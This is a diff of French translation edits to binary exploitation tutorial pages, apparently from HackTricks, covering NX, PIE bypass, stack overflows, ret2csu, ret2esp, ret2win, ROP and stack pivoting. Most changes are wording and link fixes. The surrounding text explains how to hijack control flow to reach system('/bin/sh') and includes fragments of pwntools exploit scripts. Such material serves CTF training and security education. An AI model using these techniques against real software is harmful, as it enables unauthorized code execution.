-Le bit **No-Execute (NX)**, également connu sous le nom de **Execute Disable (XD)** dans la terminologie Intel, est une fonctionnalité de sécurité basée sur le matériel conçue pour **atténuer** les effets des attaques par **débordement de tampon**. Lorsqu'il est mis en œuvre et activé, il distingue entre les régions de mémoire destinées au **code exécutable** et celles destinées aux **données**, telles que la **pile** et le **tas**. L'idée principale est d'empêcher un attaquant d'exécuter du code malveillant via des vulnérabilités de débordement de tampon en plaçant le code malveillant dans la pile par exemple et en dirigeant le flux d'exécution vers celui-ci.
+Le bit **No-Execute (NX)**, également connu sous le nom de **Execute Disable (XD)** dans la terminologie Intel, est une fonctionnalité de sécurité basée sur le matériel conçue pour **atténuer** les effets des attaques par **débordement de tampon**. Lorsqu'il est mis en œuvre et activé, il fait la distinction entre les régions de mémoire destinées au **code exécutable** et celles destinées aux **données**, telles que la **pile** et le **tas**. L'idée principale est d'empêcher un attaquant d'exécuter du code malveillant via des vulnérabilités de débordement de tampon en plaçant le code malveillant dans la pile par exemple et en dirigeant le flux d'exécution vers celui-ci.
 
 ## Contournements
 
 - Il est possible d'utiliser des techniques telles que [**ROP**](../stack-overflow/rop-return-oriented-programing.md) pour contourner cette protection en exécutant des morceaux de code exécutable déjà présents dans le binaire.
-- [**Ret2libc**](../stack-overflow/ret2lib/)
+- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
 - [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
 - **Ret2...**
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md

@@ -16,14 +16,14 @@ Ou vous pouvez utiliser cela pour votre exploitation, si vous divulguez qu'une a
 Pour contourner PIE, il est nécessaire de **divulguer une adresse du binaire chargé**, il existe plusieurs options pour cela :
 
 - **ASLR désactivé** : Si ASLR est désactivé, un binaire compilé avec PIE est toujours **chargé à la même adresse**, donc **PIE va être inutile** car les adresses des objets seront toujours au même endroit.
-- Être **donné** la fuite (commun dans les défis CTF faciles, [**vérifiez cet exemple**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
+- Recevoir la **divulgation** (commun dans les défis CTF faciles, [**vérifiez cet exemple**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
 - **Brute-forcer les valeurs EBP et EIP** dans la pile jusqu'à ce que vous divulguiez les bonnes :
 
 {{#ref}}
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Utiliser une vulnérabilité de lecture arbitraire telle que [**format string**](../../format-strings/) pour divulguer une adresse du binaire (par exemple, depuis la pile, comme dans la technique précédente) pour obtenir la base du binaire et utiliser des décalages à partir de là. [**Trouvez un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Utiliser une vulnérabilité de lecture arbitraire telle que [**chaîne de format**](../../format-strings/index.html) pour divulguer une adresse du binaire (par exemple, depuis la pile, comme dans la technique précédente) pour obtenir la base du binaire et utiliser des décalages à partir de là. [**Trouvez un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## Références
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md

@@ -1,4 +1,4 @@
-# Débordement de pile
+# Stack Overflow
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 Un **débordement de pile** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données dans la pile que ce qui lui est alloué. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, une perturbation du flux de contrôle, et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
 
-Le principal problème de cette écriture est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour revenir à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra les écraser et **contrôler le flux d'exécution du programme**.
+Le principal problème de cette écriture est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour revenir à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra écraser ces valeurs et **contrôler le flux d'exécution du programme**.
 
 La vulnérabilité survient généralement parce qu'une fonction **copie dans la pile plus d'octets que la quantité qui lui est allouée**, permettant ainsi d'écraser d'autres parties de la pile.\
 Certaines fonctions courantes vulnérables à cela sont : `strcpy`, `strcat`, `sprintf`, `gets`... De plus, des fonctions comme `fgets` ou `read`, qui prennent un argument de longueur, peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée.
@@ -24,7 +24,7 @@ printf("You entered: %s\n", buffer);
 
 La manière la plus courante de trouver des débordements de pile est de donner une très grande entrée de `A`s (par exemple, `python3 -c 'print("A"*1000)'`) et de s'attendre à un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
 
-De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **surcharger l'adresse de retour**, pour cela, on utilise généralement une **séquence de De Bruijn.** Qui pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_ est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur **_**n**_** apparaît exactement une fois** en tant que sous-séquence contiguë.
+De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **surcharger l'adresse de retour**, pour cela, on utilise généralement une **séquence de De Bruijn.** Pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, c'est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur **_**n**_** apparaît exactement une fois** en tant que sous-séquence contiguë.
 
 De cette manière, au lieu de devoir déterminer manuellement quel décalage est nécessaire pour contrôler l'EIP, il est possible d'utiliser comme remplissage l'une de ces séquences et ensuite de trouver le décalage des octets qui ont fini par la surcharger.
 
@@ -47,16 +47,16 @@ pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
-## Exploitation des débordements de pile
+## Exploiter les débordements de pile
 
-Lors d'un débordement (en supposant que la taille du débordement soit suffisamment grande), vous pourrez écraser les valeurs des variables locales dans la pile jusqu'à atteindre le EBP/RBP et EIP/RIP sauvegardés (ou même plus).\
+Lors d'un débordement (en supposant que la taille du débordement soit suffisamment grande), vous pourrez écraser les valeurs des variables locales à l'intérieur de la pile jusqu'à atteindre le EBP/RBP et EIP/RIP sauvegardés (ou même plus).\
 La manière la plus courante d'abuser de ce type de vulnérabilité est de **modifier l'adresse de retour** afin que lorsque la fonction se termine, **le flux de contrôle soit redirigé vers l'endroit spécifié par l'utilisateur** dans ce pointeur.
 
 Cependant, dans d'autres scénarios, il se peut que **l'écrasement de certaines valeurs de variables dans la pile** soit suffisant pour l'exploitation (comme dans des défis CTF faciles).
 
 ### Ret2win
 
-Dans ce type de défis CTF, il y a une **fonction** **dans** le binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver l'**offset pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée soit appelée :
+Dans ce type de défis CTF, il y a une **fonction** **à l'intérieur** du binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver l'**offset pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée soit appelée :
 
 {{#ref}}
 ret2win.md

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md

@@ -6,11 +6,11 @@
 
 **ret2csu** est une technique de hacking utilisée lorsque vous essayez de prendre le contrôle d'un programme mais que vous ne pouvez pas trouver les **gadgets** que vous utilisez habituellement pour manipuler le comportement du programme. 
 
-Lorsqu'un programme utilise certaines bibliothèques (comme libc), il dispose de fonctions intégrées pour gérer la façon dont différentes parties du programme communiquent entre elles. Parmi ces fonctions, il y a quelques pépites cachées qui peuvent agir comme nos gadgets manquants, en particulier un appelé `__libc_csu_init`.
+Lorsqu'un programme utilise certaines bibliothèques (comme libc), il dispose de certaines fonctions intégrées pour gérer la façon dont différentes parties du programme communiquent entre elles. Parmi ces fonctions, il y a quelques pépites cachées qui peuvent agir comme nos gadgets manquants, en particulier un appelé `__libc_csu_init`.
 
 ### Les gadgets magiques dans \_\_libc_csu_init
 
-Dans `__libc_csu_init`, il y a deux séquences d'instructions (nos "gadgets magiques") qui se démarquent :
+Dans `__libc_csu_init`, il y a deux séquences d'instructions (nos "gadgets magiques") qui se distinguent :
 
 1. La première séquence nous permet de configurer des valeurs dans plusieurs registres (rbx, rbp, r12, r13, r14, r15). Ce sont comme des emplacements où nous pouvons stocker des nombres ou des adresses que nous voulons utiliser plus tard.
 ```armasm
@@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Notez que l'exploit précédent n'est pas destiné à faire un **`RCE`**, il est juste destiné à appeler une fonction appelée `win` (prenant l'adresse de `win` depuis stdin en appelant gets dans la chaîne ROP et en la stockant dans r15) avec un troisième argument ayant la valeur `0xdeadbeefcafed00d`.
+> Notez que l'exploit précédent n'est pas destiné à faire un **`RCE`**, il est juste destiné à appeler une fonction appelée `win` (prenant l'adresse de `win` depuis stdin appelant gets dans la chaîne ROP et la stockant dans r15) avec un troisième argument ayant la valeur `0xdeadbeefcafed00d`.
 
 ### Pourquoi ne pas simplement utiliser libc directement ?
 
-Généralement, ces cas sont également vulnérables à [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mais parfois vous devez contrôler plus de paramètres que ceux qui peuvent être facilement contrôlés avec les gadgets que vous trouvez directement dans libc. Par exemple, la fonction `write()` nécessite trois paramètres, et **trouver des gadgets pour définir tous ceux-ci directement peut ne pas être possible**.
+Généralement, ces cas sont également vulnérables à [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), mais parfois vous devez contrôler plus de paramètres que ceux qui peuvent être facilement contrôlés avec les gadgets que vous trouvez directement dans libc. Par exemple, la fonction `write()` nécessite trois paramètres, et **trouver des gadgets pour définir tous ceux-ci directement peut ne pas être possible**.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md

@@ -6,7 +6,7 @@
 
 **Parce que l'ESP (Pointeur de Pile) pointe toujours vers le haut de la pile**, cette technique consiste à remplacer l'EIP (Pointeur d'Instruction) par l'adresse d'une instruction **`jmp esp`** ou **`call esp`**. En faisant cela, le shellcode est placé juste après l'EIP écrasé. Lorsque l'instruction `ret` s'exécute, l'ESP pointe vers l'adresse suivante, précisément là où le shellcode est stocké.
 
-Si **l'Address Space Layout Randomization (ASLR)** n'est pas activé sous Windows ou Linux, il est possible d'utiliser des instructions `jmp esp` ou `call esp` trouvées dans des bibliothèques partagées. Cependant, avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/) actif, il peut être nécessaire de chercher ces instructions dans le programme vulnérable lui-même (et vous pourriez avoir besoin de contourner [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Si **l'Address Space Layout Randomization (ASLR)** n'est pas activé sous Windows ou Linux, il est possible d'utiliser les instructions `jmp esp` ou `call esp` trouvées dans les bibliothèques partagées. Cependant, avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) actif, il peut être nécessaire de chercher ces instructions dans le programme vulnérable lui-même (et vous pourriez avoir besoin de contourner [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 
 De plus, être capable de placer le shellcode **après la corruption de l'EIP**, plutôt qu'au milieu de la pile, garantit que toutes les instructions `push` ou `pop` exécutées pendant l'opération de la fonction n'interfèrent pas avec le shellcode. Cette interférence pourrait se produire si le shellcode était placé au milieu de la pile de la fonction.
 
@@ -43,7 +43,7 @@ p.interactive()
 ```
 ## Ret2reg
 
-De même, si nous savons qu'une fonction renvoie l'adresse où le shellcode est stocké, nous pouvons tirer parti des instructions **`call eax`** ou **`jmp eax`** (connues sous le nom de technique **ret2eax**), offrant une autre méthode pour exécuter notre shellcode. Tout comme eax, **tout autre registre** contenant une adresse intéressante pourrait être utilisé (**ret2reg**).
+De même, si nous savons qu'une fonction renvoie l'adresse où le shellcode est stocké, nous pouvons tirer parti des instructions **`call eax`** ou **`jmp eax`** (connues sous le nom de technique **ret2eax**), offrant une autre méthode pour exécuter notre shellcode. Tout comme eax, **n'importe quel autre registre** contenant une adresse intéressante pourrait être utilisé (**ret2reg**).
 
 ### Exemple
 
@@ -52,7 +52,7 @@ Vous pouvez trouver un exemple ici : [https://ir0nstone.gitbook.io/notes/types/s
 ## Protections
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) : Si la pile n'est pas exécutable, cela ne sera pas utile car nous devons placer le shellcode dans la pile et sauter pour l'exécuter.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/) : Cela peut rendre plus difficile de trouver une instruction pour sauter à esp ou à tout autre registre.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) : Cela peut rendre plus difficile de trouver une instruction pour sauter à esp ou à tout autre registre.
 
 ## Références
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md

@@ -6,9 +6,9 @@
 
 Les défis **Ret2win** sont une catégorie populaire dans les compétitions **Capture The Flag (CTF)**, en particulier dans les tâches impliquant **l'exploitation binaire**. L'objectif est d'exploiter une vulnérabilité dans un binaire donné pour exécuter une fonction spécifique, non invoquée, au sein du binaire, souvent nommée quelque chose comme `win`, `flag`, etc. Cette fonction, lorsqu'elle est exécutée, imprime généralement un drapeau ou un message de succès. Le défi implique généralement de remplacer l'**adresse de retour** sur la pile pour détourner le flux d'exécution vers la fonction souhaitée. Voici une explication plus détaillée avec des exemples :
 
-### Exemple C
+### Exemple en C
 
-Considérons un simple programme C avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
+Considérons un programme C simple avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -69,8 +69,8 @@ Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est tr
 
 ## Protections
 
-- [**PIE**](../common-binary-protections-and-bypasses/pie/) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison de la façon dont fonctionne l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) doivent également être désactivés ou l'adresse de retour EIP compromise ne sera jamais suivie.
+- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison de la façon dont fonctionne l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) doivent également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie.
 
 ## Autres exemples & Références
 
@@ -82,10 +82,10 @@ Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est tr
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
 - 64 bits, pas d'ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-- 32 bits, pas d'ASLR, double petit débordement, le premier déborde la pile et augmente la taille du deuxième débordement
+- 32 bits, pas d'ASLR, double petit débordement, premier à déborder la pile et agrandir la taille du second débordement
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-- 64 bits, relro, pas de canary, nx, pie. Partial overwrite pour appeler la fonction win (ret2win)
+- 64 bits, relro, pas de canary, nx, pie. Écrasement partiel pour appeler la fonction win (ret2win)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md

@@ -9,7 +9,7 @@
 ### Comment fonctionne ROP
 
 1. **Détournement de Flux de Contrôle** : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un débordement de tampon pour écraser une adresse de retour sauvegardée sur la pile.
-2. **Chaînage de Gadgets** : L'attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela peut impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, `system("/bin/sh")`), et la gestion de tout nettoyage ou opérations supplémentaires nécessaires.
+2. **Enchaînement de Gadgets** : L'attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela peut impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, `system("/bin/sh")`), et la gestion de tout nettoyage ou opérations supplémentaires nécessaires.
 3. **Exécution du Payload** : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets.
 
 ### Outils
@@ -28,7 +28,7 @@ Typiquement, les gadgets peuvent être trouvés en utilisant **[ROPgadget](https
 Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont :
 
 - `pop eax; ret` : Ce gadget extrait la valeur du haut de la pile dans le registre `EAX` et retourne ensuite, nous permettant de contrôler `EAX`.
-- `pop ebx; ret` : Semblable à ce qui précède, mais pour le registre `EBX`, permettant le contrôle sur `EBX`.
+- `pop ebx; ret` : Semblable à ce qui précède, mais pour le registre `EBX`, permettant le contrôle de `EBX`.
 - `mov [ebx], eax; ret` : Déplace la valeur dans `EAX` vers l'emplacement mémoire pointé par `EBX` et retourne ensuite. Cela est souvent appelé un **gadget write-what-where**.
 - De plus, nous avons l'adresse de la fonction `system()` disponible.
 
@@ -37,7 +37,7 @@ Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans
 En utilisant **pwntools**, nous préparons la pile pour l'exécution de la chaîne ROP comme suit, visant à exécuter `system('/bin/sh')`, notez comment la chaîne commence par :
 
 1. Une instruction `ret` pour des raisons d'alignement (optionnel)
-2. Adresse de la fonction `system` (supposant ASLR désactivé et libc connue, plus d'infos dans [**Ret2lib**](ret2lib/))
+2. Adresse de la fonction `system` (supposant ASLR désactivé et libc connue, plus d'infos dans [**Ret2lib**](ret2lib/index.html))
 3. Espace réservé pour l'adresse de retour de `system()`
 4. Adresse de la chaîne `"/bin/sh"` (paramètre pour la fonction system)
 ```python
@@ -85,7 +85,7 @@ p.interactive()
 
 Pour notre objectif, concentrons-nous sur les gadgets qui nous permettront de définir le registre **RDI** (pour passer la chaîne **"/bin/sh"** comme argument à **system()**) et ensuite d'appeler la fonction **system()**. Nous supposerons que nous avons identifié les gadgets suivants :
 
-- **pop rdi; ret** : Pousse la valeur du haut de la pile dans **RDI** et retourne ensuite. Essentiel pour définir notre argument pour **system()**.
+- **pop rdi; ret** : Déplace la valeur du haut de la pile dans **RDI** et retourne ensuite. Essentiel pour définir notre argument pour **system()**.
 - **ret** : Un simple retour, utile pour l'alignement de la pile dans certains scénarios.
 
 Et nous connaissons l'adresse de la fonction **system()**.
@@ -140,12 +140,12 @@ Dans cet exemple :
 ## Différence principale entre x86 et x64
 
 > [!TIP]
-> Étant donné que x64 utilise des registres pour les premiers arguments, il nécessite souvent moins de gadgets que x86 pour des appels de fonction simples, mais trouver et enchaîner les bons gadgets peut être plus complexe en raison du nombre accru de registres et de l'espace d'adressage plus grand. Le nombre accru de registres et l'espace d'adressage plus grand dans l'architecture **x64** offrent à la fois des opportunités et des défis pour le développement d'exploits, en particulier dans le contexte de la programmation orientée retour (ROP).
+> Étant donné que x64 utilise des registres pour les premiers arguments, il nécessite souvent moins de gadgets que x86 pour des appels de fonction simples, mais trouver et enchaîner les bons gadgets peut être plus complexe en raison du nombre accru de registres et de l'espace d'adressage plus grand. Le nombre accru de registres et l'espace d'adressage plus grand dans l'architecture **x64** offrent à la fois des opportunités et des défis pour le développement d'exploits, en particulier dans le contexte de la Programmation Orientée Retour (ROP).
 
 ## Protections
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
 
 ## Autres exemples et références
 
@@ -153,7 +153,7 @@ Dans cet exemple :
 
 ## Techniques basées sur ROP
 
-Notez que ROP est juste une technique pour exécuter du code arbitraire. Basé sur ROP, de nombreuses techniques Ret2XXX ont été développées :
+Remarquez que ROP est juste une technique pour exécuter du code arbitraire. Basé sur ROP, de nombreuses techniques Ret2XXX ont été développées :
 
 - **Ret2lib** : Utiliser ROP pour appeler des fonctions arbitraires d'une bibliothèque chargée avec des paramètres arbitraires (généralement quelque chose comme `system('/bin/sh')`.
 
@@ -167,7 +167,7 @@ ret2lib/
 rop-syscall-execv.md
 {{#endref}}
 
-- **EBP2Ret & EBP Chaining** : Le premier abus sera EBP au lieu de EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est contrôlé principalement avec des adresses EBP (bien qu'il soit également nécessaire de contrôler EIP).
+- **EBP2Ret & EBP Chaining** : Le premier abus d'EBP au lieu d'EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est contrôlé principalement avec des adresses EBP (bien qu'il soit également nécessaire de contrôler EIP).
 
 {{#ref}}
 stack-pivoting-ebp2ret-ebp-chaining.md

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -4,7 +4,7 @@
 
 ## Informations de base
 
-Cette technique exploite la capacité à manipuler le **Base Pointer (EBP)** pour enchaîner l'exécution de plusieurs fonctions grâce à une utilisation soigneuse du registre EBP et de la séquence d'instructions `leave; ret`.
+Cette technique exploite la capacité à manipuler le **Pointeur de Base (EBP)** pour enchaîner l'exécution de plusieurs fonctions grâce à une utilisation soigneuse du registre EBP et de la séquence d'instructions `leave; ret`.
 
 Pour rappel, **`leave`** signifie essentiellement :
 ```
@@ -12,13 +12,13 @@ mov               esp, ebp
 pop               ebp
 ret
 ```
-Et comme l'**EBP est dans la pile** avant l'EIP, il est possible de le contrôler en contrôlant la pile.
+Et comme le **EBP est dans la pile** avant l'EIP, il est possible de le contrôler en contrôlant la pile.
 
 ### EBP2Ret
 
 Cette technique est particulièrement utile lorsque vous pouvez **modifier le registre EBP mais n'avez aucun moyen direct de changer le registre EIP**. Elle exploite le comportement des fonctions lorsqu'elles terminent leur exécution.
 
-Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **EBP factice** dans la pile qui pointe vers une zone de mémoire où l'adresse de votre shellcode est située (plus 4 octets pour tenir compte de l'opération `pop`), vous pouvez contrôler indirectement l'EIP. Lorsque `fvuln` retourne, l'ESP est réglé sur cet emplacement conçu, et l'opération `pop` suivante diminue l'ESP de 4, **le faisant effectivement pointer vers une adresse stockée par l'attaquant là-dedans.**\
+Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **EBP factice** dans la pile qui pointe vers une zone de mémoire où se trouve l'adresse de votre shellcode (plus 4 octets pour tenir compte de l'opération `pop`), vous pouvez contrôler indirectement l'EIP. Lorsque `fvuln` retourne, l'ESP est réglé sur cet emplacement conçu, et l'opération `pop` suivante diminue l'ESP de 4, **le faisant effectivement pointer vers une adresse stockée par l'attaquant là-dedans.**\
 Notez que vous **devez connaître 2 adresses** : celle vers laquelle l'ESP va aller, où vous devrez écrire l'adresse pointée par l'ESP.
 
 #### Construction de l'Exploit
@@ -28,21 +28,21 @@ Tout d'abord, vous devez connaître une **adresse où vous pouvez écrire des do
 Ensuite, vous devez connaître l'adresse utilisée par `ret` qui **exécutera du code arbitraire**. Vous pourriez utiliser :
 
 - Une adresse valide [**ONE_GADGET**](https://github.com/david942j/one_gadget).
-- L'adresse de **`system()`** suivie de **4 octets de déchets** et l'adresse de `"/bin/sh"` (x86 bits).
+- L'adresse de **`system()`** suivie de **4 octets de junk** et l'adresse de `"/bin/sh"` (x86 bits).
 - L'adresse d'un gadget **`jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) suivie du **shellcode** à exécuter.
 - Une chaîne [**ROP**](rop-return-oriented-programing.md)
 
-N'oubliez pas qu'avant l'une de ces adresses dans la partie contrôlée de la mémoire, il doit y avoir **`4` octets** à cause de la partie **`pop`** de l'instruction `leave`. Il serait possible d'abuser de ces 4B pour définir un **deuxième EBP factice** et continuer à contrôler l'exécution.
+N'oubliez pas qu'avant chacune de ces adresses dans la partie contrôlée de la mémoire, il doit y avoir **`4` octets** à cause de la partie **`pop`** de l'instruction `leave`. Il serait possible d'abuser de ces 4B pour définir un **deuxième EBP factice** et continuer à contrôler l'exécution.
 
 #### Exploit Off-By-One
 
-Il existe une variante spécifique de cette technique connue sous le nom d'"Off-By-One Exploit". Elle est utilisée lorsque vous ne pouvez **modifier que l'octet de poids faible de l'EBP**. Dans ce cas, l'emplacement mémoire stockant l'adresse vers laquelle sauter avec le **`ret`** doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire dans des conditions plus contraignantes.
+Il existe une variante spécifique de cette technique connue sous le nom d'« Exploit Off-By-One ». Elle est utilisée lorsque vous pouvez **uniquement modifier l'octet de poids faible de l'EBP**. Dans ce cas, l'emplacement mémoire stockant l'adresse vers laquelle sauter avec le **`ret`** doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire dans des conditions plus contraignantes.
 
 ### **Chaînage EBP**
 
-Ainsi, en plaçant une adresse contrôlée dans l'entrée `EBP` de la pile et une adresse pour `leave; ret` dans l'EIP, il est possible de **déplacer l'ESP vers l'adresse EBP contrôlée depuis la pile**.
+Ainsi, en plaçant une adresse contrôlée dans l'entrée `EBP` de la pile et une adresse pour `leave; ret` dans `EIP`, il est possible de **déplacer l'ESP vers l'adresse EBP contrôlée depuis la pile**.
 
-Maintenant, l'**ESP** est contrôlé pointant vers une adresse désirée et la prochaine instruction à exécuter est un `RET`. Pour en abuser, il est possible de placer dans l'emplacement ESP contrôlé ceci :
+Maintenant, l'**`ESP`** est contrôlé pointant vers une adresse désirée et la prochaine instruction à exécuter est un `RET`. Pour en abuser, il est possible de placer dans l'ESP contrôlé ceci :
 
 - **`&(next fake EBP)`** -> Charger le nouvel EBP à cause de `pop ebp` de l'instruction `leave`
 - **`system()`** -> Appelé par `ret`
@@ -51,9 +51,9 @@ Maintenant, l'**ESP** est contrôlé pointant vers une adresse désirée et la p
 
 Fondamentalement, de cette manière, il est possible de chaîner plusieurs faux EBPs pour contrôler le flux du programme.
 
-C'est comme un [ret2lib](ret2lib/), mais plus complexe sans avantage apparent mais pourrait être intéressant dans certains cas limites.
+C'est comme un [ret2lib](ret2lib/index.html), mais plus complexe sans avantage apparent mais pourrait être intéressant dans certains cas limites.
 
-De plus, ici vous avez un [**exemple d'un défi**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) qui utilise cette technique avec une **fuite de pile** pour appeler une fonction gagnante. Voici le payload final de la page :
+De plus, ici vous avez un [**exemple d'un défi**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) qui utilise cette technique avec une **fuite de pile** pour appeler une fonction gagnante. Voici la charge utile finale de la page :
 ```python
 from pwn import *
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md

@@ -6,7 +6,7 @@
 
 **Stack shellcode** est une technique utilisée dans l'exploitation binaire où un attaquant écrit du shellcode dans la pile d'un programme vulnérable, puis modifie le **Pointeur d'Instruction (IP)** ou le **Pointeur d'Instruction Étendu (EIP)** pour pointer vers l'emplacement de ce shellcode, provoquant son exécution. C'est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici une explication du processus, y compris un exemple simple en C et comment vous pourriez écrire un exploit correspondant en utilisant Python avec **pwntools**.
 
